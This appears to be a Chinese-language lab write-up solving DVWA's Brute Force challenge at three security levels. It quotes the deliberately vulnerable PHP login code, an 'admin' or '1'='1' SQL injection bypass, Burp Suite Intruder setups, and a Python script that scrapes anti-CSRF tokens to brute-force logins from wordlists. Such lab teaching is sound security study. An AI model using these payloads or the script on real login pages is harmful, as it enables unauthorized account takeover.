DVWA Brute Force:暴力破解篇
DVWA
Brute Force:暴力破解篇
- 前言
暴力破解是破解使用者名稱密碼的常用手段,主要是利用資訊蒐集得到有用資訊來構造有針對性的弱口令字典,對網站進行爆破,以獲取到使用者的賬號資訊,有可能利用其許可權進行一些非法操作。DVWA雖然是一個比較老的靶場,但其題目作為新手入門還是相當友好,大有裨益的,現有的網站添加了驗證碼、各種引數來阻止暴力破解,但驗證碼是可以被機器識別的,各種引數也是可以被構造的,只要掌握了其底層原理,我們依然可以使用該手段進行攻擊。
Low級別
- 程式碼
<?php if( isset( $_GET[ 'Login' ] ) ) { // Get username $user = $_GET[ 'username' ]; // Get password $pass = $_GET[ 'password' ]; $pass = md5( $pass ); // Check the database $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); //可以發現只要query語句能夠查詢到結果,就可以進入這個if成功登入 if( $result && mysqli_num_rows( $result ) == 1 ) { // Get users details $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; // Login successful echo "<p>Welcome to the password protected area {$user}</p>"; echo "<img src=\"{$avatar}\" />"; } else { // Login failed echo "<pre><br />Username and/or password incorrect.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
-
方法一:萬能密碼
雖然名為Brute Force,但第一題可以用SQL注入來做,並且非常簡單。
觀察原始碼,不難發現只要query語句能夠查詢到結果,就可以成功登入。於是構造語句如下,成功登入:
-
關鍵程式碼解析
//這一句程式碼要求result語句能夠查詢到結果 if( $result && mysqli_num_rows( $result ) == 1 ) $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; //我們將 admin' or '1'='1 注入到程式碼中之後,由於後臺沒有對其進行過濾,我們得到的query語句如下: SELECT * FROM `users` WHERE user = 'admin' or '1'='1' AND password = '$pass'; //這樣,該語句就被or分成了兩個部分,由於第一部分一定能夠查詢到結果,後面的語句並不影響最終結果,所以我們無需在資料庫中匹配到正確密碼,只要使用者名稱正確就可以成功注入
Medium級別
- 程式碼
<?php if( isset( $_GET[ 'Login' ] ) ) { // Sanitise username input $user = $_GET[ 'username' ]; $user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); // Sanitise password input $pass = $_GET[ 'password' ]; $pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass = md5( $pass ); // Check the database $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); if( $result && mysqli_num_rows( $result ) == 1 ) { // Get users details $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; // Login successful echo "<p>Welcome to the password protected area {$user}</p>"; echo "<img src=\"{$avatar}\" />"; } else { // Login failed sleep( 2 ); echo "<pre><br />Username and/or password incorrect.</pre>"; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>
- 可以注意到,相比上一題,本題有以下特點:
- 登入失敗會有sleep(2),有2秒的時延
- 後臺使用mysqli_real_escape_string函式對輸入進行了過濾,我們上菜鳥教程看下,可以知道這個函式是用來過濾某些特殊字元的,比如我們在上一題裡用到的引號。
既然是暴力破解,我們這裡用burpsuite來抓包做一下爆破,使用火狐瀏覽器來設定一下代理,在火狐設定選項中找到代理,其他瀏覽器也有相關外掛或選項可以進行設定。然後給Burpsuite也設定一下代理,這裡的火狐代理和burp代理需要是一樣的,配置如下圖。
PS:在這期間我遇到一個問題,burpsuite無法抓取本地資料包,於是我修改localhost為本機ip,因為localhost還會指向ipv6的域名,導致衝突,所以使用本機ipv4的ip就可以解決這一問題。
然後抓包,可以看到這裡使用GET請求提交的使用者名稱和密碼引數,於是我們將抓取到的資料傳送到Intruder,點選clear刪除掉所有變數,然後游標選中密碼對應值(這裡是aaa),點選add將其設定為變數。
然後點選Payloads,輸入破解用的金鑰(如果有弱口令字典可以點load匯入)。
PS:這裡我又遇到一個問題,就是爆破之後返回狀態碼都為302重定向,如果有遇到這個問題的朋友,在Options最底下一項Redirection勾選always,就可以自動跟隨重定向了。
然後點選右上角Start attack,可以看到payload為password一欄的length不一樣,這就是我們想要的密碼,第二題Over!
High級別
- 程式碼
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( rand( 0, 3 ) );
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
相對上一題,本題主要多了這幾個特點:
- 使用stripslashes函式對使用者名稱和密碼進行過濾
stripslashes函式:用來去除字串中的反斜槓,如果出現連續兩個的反斜槓,則只去掉一個 - 對密碼進行md5加密(但這對我們沒有影響)
- 使用generateSessionToken函式加入了Token,可以抵禦CSRF攻擊,增加了爆破的難度
generateSessionToken函式:用來生成token令牌,token值會不斷變化,因此不能使用一般的爆破手段
- 思路:這一題的難點在於token令牌,每次我們登陸時,頁面會給我們返回一個token值,下次登陸時我們需要攜帶這個值讓伺服器來驗證,這意味著我們多出了一個不可控的變數。
-
方法一:Burpsuite抓包爆破
我們依然可以選擇使用burpsuite來對其進行爆破,只是流程比上一題複雜了一點。首先配置代理,和上面一樣,抓包然後ctrl + i,send to Intruder,點選clear,然後選中password和token的值,點add設定為變數,把上面的Attack type攻擊型別選項設定為Pitchfork(叉子模式)
這裡補充下Burpsuite的四種AttackType
Attack Type 特點 Sniper(狙擊手) 對變數依次進行破解,多個標記依次進行。對每個爆破點使用相同字典進行爆破(類似單執行緒) Battering ram(工程錘) 對變數同時進行破解,多個標記同時進行。對多個爆破點使用相同字典同時進行爆破(類似多執行緒) Pitchfork(叉子) 對兩個爆破點使用不同字典同時進行爆破 Cluster Bomb(集束炸彈) 相當於二重迴圈,對每個第一個點的值,迴圈對第二個點進行爆破(例如對多個使用者,迴圈對每個使用者名稱使用相同密碼字典進行爆破) 那Token值要怎麼捕獲到呢?通過檢視網頁原始碼,我們可以知道它在value這個位置,注意複製這個value,後面有用。
還是先到Options裡選擇一直跟隨重定向,然後去Grep - Extract(通過正則提取資訊的一個模組)裡點選add找value的值,結果???有點問題。沒事,我們要的值就在下面,直接滑鼠選中就行了
然後到Payloads,先設定匯入字典,然後在Payloads Set中設定Payloads Set為2,Payloads Type為Recursive grep遞迴查詢,把token值放進去,Start Attack,成功!
- 方法二:Python指令碼爆破
注:程式碼雖然寫了很詳細的註釋,但還是推薦有學過python爬蟲的朋友看,沒有學過的朋友看起來可能比較困難。
如果有朋友學過爬蟲,那答案也非常簡單。我們可以使用指令碼來抓取每次生成的token,在下一次登入時攜帶該token進行爆破,這裡我們使用Python來編寫這個爆破指令碼,使用時記得替換獲取到的Cookie值。
import requests
from lxml import etree
from bs4 import BeautifulSoup
# 獲取頁面中的Token
def getToken(url, headers):
# 得到HTML,並將其例項化為一個tree物件,利用xpath(類似選擇器的原理)定位到token值所在位置並獲取
page_text = requests.get(url=url, headers=headers).text
tree = etree.HTML(page_text)
user_token = tree.xpath('//form/input[4]/@value')[0]
print(user_token)
return user_token
if __name__ == "__main__":
# 設定引數進行UA偽裝並攜帶Cookie
headers = {
'User-Agent':
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0',
'Cookie': 'security=high; PHPSESSID=gqdal64o4bsbbgj0r9sg6r3lq0'
}
url = 'http://169.254.48.14/dvwa-master/vulnerabilities/brute/index.php'
# 從檔案中獲取使用者名稱和密碼進行爆破(這裡的爆破模式類似於Burp中的Cluster Bomb模式)
count = 1
with open('user.txt', 'r', encoding='utf-8') as userList:
for admin in userList:
with open('password.txt', 'r', encoding='utf-8') as pwdList:
for line in pwdList:
username = admin.strip()
password = line.strip()
# 每次傳送請求前獲取token值,設定好get請求所需要的引數
user_token = getToken(url, headers)
payload = {
'username': username,
'password': password,
'Login': 'Login',
'user_token': user_token
}
response = requests.get(url=url, headers=headers, params=payload).content
# 整理下輸出格式
print("{:<6}".format(count), "{:<15}".format(username), "{:<15}".format(password), len(response.decode()))
count += 1
結果如下,第4項位元組長度與其他的不一致,即為管理員正確的使用者密碼。
感謝閱讀,之後還會再更新DVWA的其他部分,感興趣的朋友不妨點個關注。